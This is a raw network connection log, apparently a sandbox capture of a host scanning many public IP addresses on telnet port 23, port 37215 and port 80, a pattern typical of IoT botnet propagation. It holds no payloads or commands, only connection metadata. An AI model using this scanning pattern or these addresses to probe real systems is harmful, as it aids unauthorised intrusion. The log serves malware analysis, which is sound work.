Oct 17, 2024 02:19:42.150814056 CEST	20641	443	192.168.2.14	212.128.23.210
Oct 17, 2024 02:19:42.150814056 CEST	20641	443	192.168.2.14	117.87.253.172
Oct 17, 2024 02:19:42.150820971 CEST	20641	443	192.168.2.14	178.237.86.119
Oct 17, 2024 02:19:42.150820971 CEST	20641	443	192.168.2.14	79.104.181.82
Oct 17, 2024 02:19:42.150820971 CEST	20641	443	192.168.2.14	118.59.83.34
Oct 17, 2024 02:19:42.150829077 CEST	20641	443	192.168.2.14	210.85.241.36
Oct 17, 2024 02:19:42.150830030 CEST	20641	443	192.168.2.14	2.78.86.42
Oct 17, 2024 02:19:42.150830030 CEST	20641	443	192.168.2.14	202.129.28.38
Oct 17, 2024 02:19:42.150830984 CEST	20641	443	192.168.2.14	117.156.88.94
Oct 17, 2024 02:19:42.150831938 CEST	20641	443	192.168.2.14	210.224.72.176
Oct 17, 2024 02:19:42.150831938 CEST	20641	443	192.168.2.14	2.191.127.84
Oct 17, 2024 02:19:42.150831938 CEST	20641	443	192.168.2.14	118.47.150.59
Oct 17, 2024 02:19:42.150832891 CEST	20641	443	192.168.2.14	178.133.80.142
Oct 17, 2024 02:19:42.150832891 CEST	20641	443	192.168.2.14	109.94.206.15
Oct 17, 2024 02:19:42.150832891 CEST	20641	443	192.168.2.14	178.8.226.10
Oct 17, 2024 02:19:42.150835991 CEST	20641	443	192.168.2.14	37.198.217.122
Oct 17, 2024 02:19:42.150835991 CEST	20641	443	192.168.2.14	5.147.2.166
Oct 17, 2024 02:19:42.150839090 CEST	20641	443	192.168.2.14	42.64.67.0
Oct 17, 2024 02:19:42.150846004 CEST	20641	443	192.168.2.14	2.143.219.190
Oct 17, 2024 02:19:42.150851011 CEST	20641	443	192.168.2.14	42.161.146.215
Oct 17, 2024 02:19:42.150851011 CEST	20641	443	192.168.2.14	94.26.98.188
Oct 17, 2024 02:19:42.150851011 CEST	20641	443	192.168.2.14	210.253.29.99
Oct 17, 2024 02:19:42.150852919 CEST	20641	443	192.168.2.14	5.63.72.9
Oct 17, 2024 02:19:42.150855064 CEST	20641	443	192.168.2.14	94.243.227.43
Oct 17, 2024 02:19:42.150857925 CEST	20641	443	192.168.2.14	2.17.6.104
Oct 17, 2024 02:19:42.150859118 CEST	20641	443	192.168.2.14	118.57.95.74
Oct 17, 2024 02:19:42.150859118 CEST	20641	443	192.168.2.14	117.195.44.229
Oct 17, 2024 02:19:42.150863886 CEST	20641	443	192.168.2.14	210.229.251.92
Oct 17, 2024 02:19:42.150865078 CEST	20641	443	192.168.2.14	109.44.186.47
Oct 17, 2024 02:19:42.150865078 CEST	20641	443	192.168.2.14	118.52.180.78
Oct 17, 2024 02:19:42.150865078 CEST	20641	443	192.168.2.14	109.30.99.165
Oct 17, 2024 02:19:42.150865078 CEST	20641	443	192.168.2.14	210.111.164.77
Oct 17, 2024 02:19:42.150865078 CEST	20641	443	192.168.2.14	148.102.183.124
Oct 17, 2024 02:19:42.150872946 CEST	20641	443	192.168.2.14	42.2.94.164
Oct 17, 2024 02:19:42.150876045 CEST	20641	443	192.168.2.14	109.187.132.130
Oct 17, 2024 02:19:42.150877953 CEST	20641	443	192.168.2.14	202.171.242.223
Oct 17, 2024 02:19:42.150878906 CEST	20641	443	192.168.2.14	37.9.84.82
Oct 17, 2024 02:19:42.150886059 CEST	20641	443	192.168.2.14	5.61.170.181
Oct 17, 2024 02:19:42.150921106 CEST	20641	443	192.168.2.14	178.248.19.131
Oct 17, 2024 02:19:42.150923014 CEST	20641	443	192.168.2.14	94.101.224.126
Oct 17, 2024 02:19:42.150922060 CEST	20641	443	192.168.2.14	212.140.235.75
Oct 17, 2024 02:19:42.150922060 CEST	20641	443	192.168.2.14	178.216.220.233
Oct 17, 2024 02:19:42.150928020 CEST	20641	443	192.168.2.14	117.76.64.202
Oct 17, 2024 02:19:42.150928974 CEST	20641	443	192.168.2.14	79.41.69.58
Oct 17, 2024 02:19:42.150928974 CEST	20641	443	192.168.2.14	37.61.22.37
Oct 17, 2024 02:19:42.150928974 CEST	20641	443	192.168.2.14	178.121.233.99
Oct 17, 2024 02:19:42.150933981 CEST	20641	443	192.168.2.14	178.115.162.152
Oct 17, 2024 02:19:42.150939941 CEST	20641	443	192.168.2.14	148.225.201.243
Oct 17, 2024 02:19:42.150939941 CEST	20641	443	192.168.2.14	117.218.191.158
Oct 17, 2024 02:19:42.150939941 CEST	20641	443	192.168.2.14	79.111.183.5
Oct 17, 2024 02:19:42.150939941 CEST	20641	443	192.168.2.14	117.197.250.72
Oct 17, 2024 02:19:42.150950909 CEST	20641	443	192.168.2.14	148.34.255.28
Oct 17, 2024 02:19:42.150954008 CEST	20641	443	192.168.2.14	212.229.213.247
Oct 17, 2024 02:19:42.150958061 CEST	20641	443	192.168.2.14	212.218.136.245
Oct 17, 2024 02:19:42.150963068 CEST	20641	443	192.168.2.14	109.49.202.24
Oct 17, 2024 02:19:42.150975943 CEST	20641	443	192.168.2.14	212.52.135.24
Oct 17, 2024 02:19:42.150976896 CEST	20641	443	192.168.2.14	94.51.42.41
Oct 17, 2024 02:19:42.150989056 CEST	20641	443	192.168.2.14	118.37.107.15
Oct 17, 2024 02:19:42.150989056 CEST	20641	443	192.168.2.14	42.61.75.110
Oct 17, 2024 02:19:42.150989056 CEST	20641	443	192.168.2.14	117.187.232.33
Oct 17, 2024 02:19:42.150990963 CEST	20641	443	192.168.2.14	79.188.136.43
Oct 17, 2024 02:19:42.150993109 CEST	20641	443	192.168.2.14	117.25.51.188
Oct 17, 2024 02:19:42.150993109 CEST	20641	443	192.168.2.14	178.215.190.184
Oct 17, 2024 02:19:42.150993109 CEST	20641	443	192.168.2.14	2.26.215.224
Oct 17, 2024 02:19:42.150995016 CEST	20641	443	192.168.2.14	118.186.97.205
Oct 17, 2024 02:19:42.150995970 CEST	20641	443	192.168.2.14	5.59.66.209
Oct 17, 2024 02:19:42.150996923 CEST	20641	443	192.168.2.14	5.4.59.36
Oct 17, 2024 02:19:42.151000023 CEST	20641	443	192.168.2.14	117.129.110.203
Oct 17, 2024 02:19:42.151000023 CEST	20641	443	192.168.2.14	210.118.142.42
Oct 17, 2024 02:19:42.151169062 CEST	59524	443	192.168.2.14	2.168.41.147
Oct 17, 2024 02:19:42.151182890 CEST	443	59524	2.168.41.147	192.168.2.14
Oct 17, 2024 02:19:42.151184082 CEST	33854	443	192.168.2.14	94.143.132.188
Oct 17, 2024 02:19:42.151184082 CEST	33854	443	192.168.2.14	94.143.132.188
Oct 17, 2024 02:19:42.151197910 CEST	443	33854	94.143.132.188	192.168.2.14
Oct 17, 2024 02:19:42.151213884 CEST	59524	443	192.168.2.14	2.168.41.147
Oct 17, 2024 02:19:42.151237965 CEST	443	59524	2.168.41.147	192.168.2.14
Oct 17, 2024 02:19:42.151238918 CEST	443	33854	94.143.132.188	192.168.2.14
Oct 17, 2024 02:19:42.153636932 CEST	36036	23	192.168.2.14	117.10.250.66
Oct 17, 2024 02:19:42.165116072 CEST	51388	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:42.165560961 CEST	53526	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:42.166438103 CEST	58704	23	192.168.2.14	82.62.68.31
Oct 17, 2024 02:19:42.170017004 CEST	37215	51388	197.227.122.154	192.168.2.14
Oct 17, 2024 02:19:42.170078993 CEST	51388	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:42.200431108 CEST	58860	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:42.200896978 CEST	51290	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:42.205260038 CEST	37215	58860	197.226.27.20	192.168.2.14
Oct 17, 2024 02:19:42.205332994 CEST	58860	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:42.205670118 CEST	80	51290	27.147.76.225	192.168.2.14
Oct 17, 2024 02:19:42.206743956 CEST	59480	23	192.168.2.14	48.222.29.178
Oct 17, 2024 02:19:42.206747055 CEST	51290	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:42.211568117 CEST	23	59480	48.222.29.178	192.168.2.14
Oct 17, 2024 02:19:42.211625099 CEST	59480	23	192.168.2.14	48.222.29.178
Oct 17, 2024 02:19:42.213108063 CEST	37498	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:42.213475943 CEST	55720	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:42.216269970 CEST	52330	23	192.168.2.14	202.138.146.13
Oct 17, 2024 02:19:42.217911959 CEST	37215	37498	156.110.225.254	192.168.2.14
Oct 17, 2024 02:19:42.218130112 CEST	37498	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:42.218210936 CEST	80	55720	206.61.33.79	192.168.2.14
Oct 17, 2024 02:19:42.218286991 CEST	55720	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:42.219213009 CEST	56690	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:42.219491005 CEST	60586	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:42.224406004 CEST	80	60586	155.202.61.115	192.168.2.14
Oct 17, 2024 02:19:42.224489927 CEST	60586	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:42.226918936 CEST	51878	23	192.168.2.14	52.133.6.178
Oct 17, 2024 02:19:42.229996920 CEST	55716	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:42.230329037 CEST	48364	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:42.234858036 CEST	37215	55716	41.24.74.237	192.168.2.14
Oct 17, 2024 02:19:42.234925032 CEST	55716	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:42.235277891 CEST	50296	23	192.168.2.14	98.213.214.178
Oct 17, 2024 02:19:42.236327887 CEST	45386	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:42.236665964 CEST	43248	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:42.270085096 CEST	39964	23	192.168.2.14	76.152.50.5
Oct 17, 2024 02:19:42.274874926 CEST	23	39964	76.152.50.5	192.168.2.14
Oct 17, 2024 02:19:42.274943113 CEST	39964	23	192.168.2.14	76.152.50.5
Oct 17, 2024 02:19:42.275579929 CEST	36726	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:42.275944948 CEST	36908	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:42.280462980 CEST	37215	36726	197.94.217.178	192.168.2.14
Oct 17, 2024 02:19:42.280527115 CEST	36726	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:42.280729055 CEST	80	36908	131.123.125.247	192.168.2.14
Oct 17, 2024 02:19:42.280776978 CEST	36908	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:42.282187939 CEST	56254	23	192.168.2.14	39.117.241.204
Oct 17, 2024 02:19:42.282954931 CEST	45456	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:42.283349037 CEST	48600	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:42.286972046 CEST	23	56254	39.117.241.204	192.168.2.14
Oct 17, 2024 02:19:42.287260056 CEST	56254	23	192.168.2.14	39.117.241.204
Oct 17, 2024 02:19:42.287792921 CEST	37215	45456	41.96.201.111	192.168.2.14
Oct 17, 2024 02:19:42.289371967 CEST	45456	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:42.289921045 CEST	60302	23	192.168.2.14	111.150.9.248
Oct 17, 2024 02:19:42.292583942 CEST	42374	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:42.293100119 CEST	59064	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:42.294703960 CEST	23	60302	111.150.9.248	192.168.2.14
Oct 17, 2024 02:19:42.294754028 CEST	60302	23	192.168.2.14	111.150.9.248
Oct 17, 2024 02:19:42.298243046 CEST	58426	23	192.168.2.14	88.241.38.195
Oct 17, 2024 02:19:42.299315929 CEST	55952	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:42.299554110 CEST	49670	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:42.304462910 CEST	80	49670	151.92.33.61	192.168.2.14
Oct 17, 2024 02:19:42.305361986 CEST	49670	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:42.305555105 CEST	40200	23	192.168.2.14	94.45.60.43
Oct 17, 2024 02:19:42.309200048 CEST	36896	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:42.309593916 CEST	33370	80	192.168.2.14	151.5.201.239
Oct 17, 2024 02:19:42.313992023 CEST	37215	36896	156.42.148.140	192.168.2.14
Oct 17, 2024 02:19:42.314131975 CEST	36896	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:42.315223932 CEST	40528	23	192.168.2.14	164.55.11.160
Oct 17, 2024 02:19:42.316212893 CEST	46318	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:42.316657066 CEST	33522	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:42.320641041 CEST	60950	23	192.168.2.14	121.57.192.209
Oct 17, 2024 02:19:42.324009895 CEST	60716	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:42.324801922 CEST	38710	80	192.168.2.14	101.247.211.235
Oct 17, 2024 02:19:42.325601101 CEST	23	60950	121.57.192.209	192.168.2.14
Oct 17, 2024 02:19:42.325684071 CEST	60950	23	192.168.2.14	121.57.192.209
Oct 17, 2024 02:19:42.328439951 CEST	58880	23	192.168.2.14	158.211.181.85
Oct 17, 2024 02:19:42.329150915 CEST	53532	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:42.329502106 CEST	59294	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:42.333354950 CEST	23	58880	158.211.181.85	192.168.2.14
Oct 17, 2024 02:19:42.333448887 CEST	58880	23	192.168.2.14	158.211.181.85
Oct 17, 2024 02:19:42.334491968 CEST	33870	23	192.168.2.14	88.245.74.61
Oct 17, 2024 02:19:42.336441040 CEST	53732	37215	192.168.2.14	156.213.127.89
Oct 17, 2024 02:19:42.336730003 CEST	35278	80	192.168.2.14	136.140.231.208
Oct 17, 2024 02:19:42.342814922 CEST	37402	23	192.168.2.14	181.213.69.98
Oct 17, 2024 02:19:42.343369007 CEST	41052	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:42.343707085 CEST	54782	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:42.347775936 CEST	23	37402	181.213.69.98	192.168.2.14
Oct 17, 2024 02:19:42.347865105 CEST	37402	23	192.168.2.14	181.213.69.98
Oct 17, 2024 02:19:42.349044085 CEST	47100	23	192.168.2.14	166.37.149.4
Oct 17, 2024 02:19:42.351219893 CEST	46240	37215	192.168.2.14	41.236.21.66
Oct 17, 2024 02:19:42.351584911 CEST	40926	80	192.168.2.14	166.156.182.79
Oct 17, 2024 02:19:42.353903055 CEST	23	47100	166.37.149.4	192.168.2.14
Oct 17, 2024 02:19:42.353960991 CEST	47100	23	192.168.2.14	166.37.149.4
Oct 17, 2024 02:19:42.356489897 CEST	42906	23	192.168.2.14	8.130.124.168
Oct 17, 2024 02:19:42.357853889 CEST	45838	37215	192.168.2.14	41.6.177.78
Oct 17, 2024 02:19:42.358139992 CEST	38574	80	192.168.2.14	155.248.209.160
Oct 17, 2024 02:19:42.362041950 CEST	52926	23	192.168.2.14	82.37.3.139
Oct 17, 2024 02:19:42.365242004 CEST	37684	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:42.365593910 CEST	36264	80	192.168.2.14	175.89.36.136
Oct 17, 2024 02:19:42.366858959 CEST	23	52926	82.37.3.139	192.168.2.14
Oct 17, 2024 02:19:42.367137909 CEST	52926	23	192.168.2.14	82.37.3.139
Oct 17, 2024 02:19:42.369997978 CEST	49744	23	192.168.2.14	94.104.210.239
Oct 17, 2024 02:19:42.370786905 CEST	56562	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:42.371295929 CEST	45614	80	192.168.2.14	5.71.231.134
Oct 17, 2024 02:19:42.374846935 CEST	23	49744	94.104.210.239	192.168.2.14
Oct 17, 2024 02:19:42.374994040 CEST	49744	23	192.168.2.14	94.104.210.239
Oct 17, 2024 02:19:42.376912117 CEST	49298	23	192.168.2.14	86.204.191.194
Oct 17, 2024 02:19:42.378917933 CEST	38896	37215	192.168.2.14	41.125.31.107
Oct 17, 2024 02:19:42.379343033 CEST	50624	80	192.168.2.14	180.83.57.162
Oct 17, 2024 02:19:42.384424925 CEST	58902	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:42.385375023 CEST	35832	37215	192.168.2.14	41.102.203.154
Oct 17, 2024 02:19:42.385652065 CEST	51882	80	192.168.2.14	39.144.2.241
Oct 17, 2024 02:19:42.389208078 CEST	23	58902	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:42.389270067 CEST	58902	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:42.391314983 CEST	52796	23	192.168.2.14	74.60.214.172
Oct 17, 2024 02:19:42.393795013 CEST	55316	37215	192.168.2.14	197.233.230.231
Oct 17, 2024 02:19:42.394088030 CEST	37610	80	192.168.2.14	216.162.115.8
Oct 17, 2024 02:19:42.396181107 CEST	23	52796	74.60.214.172	192.168.2.14
Oct 17, 2024 02:19:42.396264076 CEST	52796	23	192.168.2.14	74.60.214.172
Oct 17, 2024 02:19:42.399123907 CEST	53354	23	192.168.2.14	96.190.151.176
Oct 17, 2024 02:19:42.399997950 CEST	35076	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:42.400397062 CEST	48318	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:42.404757023 CEST	48820	23	192.168.2.14	160.21.205.152
Oct 17, 2024 02:19:42.404840946 CEST	37215	35076	197.130.159.152	192.168.2.14
Oct 17, 2024 02:19:42.404890060 CEST	35076	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:42.411356926 CEST	58904	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:42.416354895 CEST	37215	58904	197.182.193.48	192.168.2.14
Oct 17, 2024 02:19:42.416484118 CEST	58904	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:42.416501999 CEST	47928	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:42.436698914 CEST	55748	23	192.168.2.14	82.238.238.207
Oct 17, 2024 02:19:42.437001944 CEST	50872	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:42.437324047 CEST	49442	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:42.441561937 CEST	23	55748	82.238.238.207	192.168.2.14
Oct 17, 2024 02:19:42.441627026 CEST	55748	23	192.168.2.14	82.238.238.207
Oct 17, 2024 02:19:42.442032099 CEST	37215	50872	41.146.94.96	192.168.2.14
Oct 17, 2024 02:19:42.442079067 CEST	50872	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:42.442507029 CEST	56970	23	192.168.2.14	152.211.72.195
Oct 17, 2024 02:19:42.442662001 CEST	41098	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:42.442984104 CEST	60300	80	192.168.2.14	162.59.53.132
Oct 17, 2024 02:19:42.447381020 CEST	23	56970	152.211.72.195	192.168.2.14
Oct 17, 2024 02:19:42.447452068 CEST	56970	23	192.168.2.14	152.211.72.195
Oct 17, 2024 02:19:42.448808908 CEST	34862	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:42.449112892 CEST	60824	80	192.168.2.14	172.48.127.151
Oct 17, 2024 02:19:42.449511051 CEST	54436	23	192.168.2.14	88.162.169.225
Oct 17, 2024 02:19:42.453860044 CEST	37215	34862	156.158.100.93	192.168.2.14
Oct 17, 2024 02:19:42.453885078 CEST	46840	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:42.453931093 CEST	34862	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:42.454236031 CEST	54742	80	192.168.2.14	45.21.149.219
Oct 17, 2024 02:19:42.454612970 CEST	43646	23	192.168.2.14	156.162.252.0
Oct 17, 2024 02:19:42.457473040 CEST	33350	37215	192.168.2.14	156.224.61.59
Oct 17, 2024 02:19:42.458240032 CEST	38910	80	192.168.2.14	47.123.240.67
Oct 17, 2024 02:19:42.459786892 CEST	44572	23	192.168.2.14	96.42.30.36
Oct 17, 2024 02:19:42.464875937 CEST	59534	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:42.465210915 CEST	46682	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:42.465344906 CEST	23	44572	96.42.30.36	192.168.2.14
Oct 17, 2024 02:19:42.465399027 CEST	44572	23	192.168.2.14	96.42.30.36
Oct 17, 2024 02:19:42.466981888 CEST	36012	23	192.168.2.14	39.86.191.110
Oct 17, 2024 02:19:42.468856096 CEST	50758	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:42.469504118 CEST	60822	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:42.472289085 CEST	34910	23	192.168.2.14	39.104.152.36
Oct 17, 2024 02:19:42.473851919 CEST	37215	50758	197.153.89.197	192.168.2.14
Oct 17, 2024 02:19:42.473912001 CEST	50758	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:42.474087954 CEST	46770	37215	192.168.2.14	197.36.206.50
Oct 17, 2024 02:19:42.474432945 CEST	54214	80	192.168.2.14	180.39.30.52
Oct 17, 2024 02:19:42.479263067 CEST	56584	23	192.168.2.14	152.23.242.18
Oct 17, 2024 02:19:42.479660034 CEST	57766	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:42.479939938 CEST	51418	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:42.484421015 CEST	37215	57766	156.228.182.173	192.168.2.14
Oct 17, 2024 02:19:42.484488010 CEST	57766	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:42.484705925 CEST	52628	23	192.168.2.14	43.118.115.1
Oct 17, 2024 02:19:42.485012054 CEST	52748	37215	192.168.2.14	197.111.176.34
Oct 17, 2024 02:19:42.485311031 CEST	38112	80	192.168.2.14	200.69.221.58
Oct 17, 2024 02:19:42.489092112 CEST	58144	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:42.489933014 CEST	34882	80	192.168.2.14	96.126.207.202
Oct 17, 2024 02:19:42.490664005 CEST	46518	23	192.168.2.14	77.32.42.70
Oct 17, 2024 02:19:42.493968010 CEST	37215	58144	197.216.228.207	192.168.2.14
Oct 17, 2024 02:19:42.494519949 CEST	58144	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:42.495898962 CEST	55930	37215	192.168.2.14	156.69.8.0
Oct 17, 2024 02:19:42.496203899 CEST	60328	80	192.168.2.14	130.169.41.233
Oct 17, 2024 02:19:42.497376919 CEST	42292	23	192.168.2.14	134.102.57.40
Oct 17, 2024 02:19:42.500634909 CEST	42258	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:42.500873089 CEST	35870	80	192.168.2.14	128.7.12.180
Oct 17, 2024 02:19:42.502845049 CEST	33718	23	192.168.2.14	13.197.228.153
Oct 17, 2024 02:19:42.505559921 CEST	37215	42258	156.243.178.7	192.168.2.14
Oct 17, 2024 02:19:42.505614996 CEST	42258	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:42.505752087 CEST	42080	37215	192.168.2.14	41.158.128.192
Oct 17, 2024 02:19:42.506189108 CEST	43888	80	192.168.2.14	137.55.111.123
Oct 17, 2024 02:19:42.507174015 CEST	55210	23	192.168.2.14	163.101.36.245
Oct 17, 2024 02:19:42.511725903 CEST	33444	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:42.512042046 CEST	59508	80	192.168.2.14	162.0.128.111
Oct 17, 2024 02:19:42.513639927 CEST	37874	23	192.168.2.14	19.16.222.129
Oct 17, 2024 02:19:42.515912056 CEST	48666	37215	192.168.2.14	41.70.159.187
Oct 17, 2024 02:19:42.516187906 CEST	60792	80	192.168.2.14	220.222.96.189
Oct 17, 2024 02:19:42.517483950 CEST	37215	33444	197.151.100.246	192.168.2.14
Oct 17, 2024 02:19:42.517602921 CEST	33444	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:42.517714977 CEST	50940	23	192.168.2.14	13.168.222.14
Oct 17, 2024 02:19:42.519460917 CEST	38798	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:42.519898891 CEST	34840	80	192.168.2.14	139.119.78.74
Oct 17, 2024 02:19:42.522564888 CEST	52382	23	192.168.2.14	54.38.223.158
Oct 17, 2024 02:19:42.524346113 CEST	49838	37215	192.168.2.14	41.102.78.212
Oct 17, 2024 02:19:42.524734974 CEST	39332	80	192.168.2.14	129.241.26.197
Oct 17, 2024 02:19:42.524820089 CEST	37215	38798	41.23.92.152	192.168.2.14
Oct 17, 2024 02:19:42.524979115 CEST	38798	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:42.528844118 CEST	51838	23	192.168.2.14	190.242.205.4
Oct 17, 2024 02:19:42.529170036 CEST	35254	37215	192.168.2.14	41.217.22.123
Oct 17, 2024 02:19:42.529421091 CEST	53572	80	192.168.2.14	163.8.170.156
Oct 17, 2024 02:19:42.533776045 CEST	34428	23	192.168.2.14	116.246.203.72
Oct 17, 2024 02:19:42.533951044 CEST	55008	37215	192.168.2.14	156.40.162.205
Oct 17, 2024 02:19:42.534353971 CEST	46528	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:42.534964085 CEST	23	51838	190.242.205.4	192.168.2.14
Oct 17, 2024 02:19:42.535032988 CEST	51838	23	192.168.2.14	190.242.205.4
Oct 17, 2024 02:19:42.537672043 CEST	43884	37215	192.168.2.14	41.132.10.240
Oct 17, 2024 02:19:42.538086891 CEST	38130	80	192.168.2.14	182.132.193.27
Oct 17, 2024 02:19:42.538640022 CEST	52126	23	192.168.2.14	111.163.29.206
Oct 17, 2024 02:19:42.544316053 CEST	56320	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:42.544655085 CEST	45532	80	192.168.2.14	218.108.23.30
Oct 17, 2024 02:19:42.545283079 CEST	46104	23	192.168.2.14	37.144.172.5
Oct 17, 2024 02:19:42.547853947 CEST	57408	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:42.548222065 CEST	58046	80	192.168.2.14	207.203.30.200
Oct 17, 2024 02:19:42.549225092 CEST	37215	56320	197.108.80.199	192.168.2.14
Oct 17, 2024 02:19:42.549284935 CEST	56320	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:42.550137997 CEST	44162	23	192.168.2.14	98.28.75.43
Oct 17, 2024 02:19:42.552710056 CEST	37215	57408	197.167.213.135	192.168.2.14
Oct 17, 2024 02:19:42.552762032 CEST	57408	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:42.553459883 CEST	50378	37215	192.168.2.14	156.42.18.17
Oct 17, 2024 02:19:42.553766966 CEST	60274	80	192.168.2.14	202.116.48.74
Oct 17, 2024 02:19:42.555531979 CEST	57830	23	192.168.2.14	130.126.171.15
Oct 17, 2024 02:19:42.557210922 CEST	60518	37215	192.168.2.14	41.231.130.210
Oct 17, 2024 02:19:42.558011055 CEST	37112	80	192.168.2.14	98.242.53.73
Oct 17, 2024 02:19:42.561777115 CEST	50054	23	192.168.2.14	71.139.8.117
Oct 17, 2024 02:19:42.563277960 CEST	45978	37215	192.168.2.14	41.32.14.252
Oct 17, 2024 02:19:42.563576937 CEST	57236	80	192.168.2.14	213.16.243.220
Oct 17, 2024 02:19:42.566862106 CEST	23	50054	71.139.8.117	192.168.2.14
Oct 17, 2024 02:19:42.566922903 CEST	50054	23	192.168.2.14	71.139.8.117
Oct 17, 2024 02:19:42.566998959 CEST	48594	23	192.168.2.14	125.1.248.23
Oct 17, 2024 02:19:42.567536116 CEST	58236	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:42.567852974 CEST	43160	80	192.168.2.14	198.36.138.239
Oct 17, 2024 02:19:42.571974039 CEST	60290	23	192.168.2.14	156.21.115.18
Oct 17, 2024 02:19:42.572099924 CEST	37182	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:42.572340012 CEST	37215	58236	41.249.70.37	192.168.2.14
Oct 17, 2024 02:19:42.572400093 CEST	58236	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:42.572532892 CEST	35214	80	192.168.2.14	102.219.103.167
Oct 17, 2024 02:19:42.578386068 CEST	40402	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:42.578830004 CEST	57476	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:42.579293013 CEST	57768	23	192.168.2.14	172.126.65.188
Oct 17, 2024 02:19:42.583266020 CEST	53530	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:42.583674908 CEST	34964	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:42.584436893 CEST	42002	23	192.168.2.14	93.141.142.177
Oct 17, 2024 02:19:42.587285995 CEST	38958	37215	192.168.2.14	156.11.104.107
Oct 17, 2024 02:19:42.587526083 CEST	53778	80	192.168.2.14	199.4.155.168
Oct 17, 2024 02:19:42.588160992 CEST	37215	53530	197.233.34.205	192.168.2.14
Oct 17, 2024 02:19:42.588247061 CEST	53530	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:42.589466095 CEST	50886	23	192.168.2.14	172.162.8.159
Oct 17, 2024 02:19:42.592139959 CEST	45928	37215	192.168.2.14	41.159.173.9
Oct 17, 2024 02:19:42.592334032 CEST	80	53778	199.4.155.168	192.168.2.14
Oct 17, 2024 02:19:42.592425108 CEST	53778	80	192.168.2.14	199.4.155.168
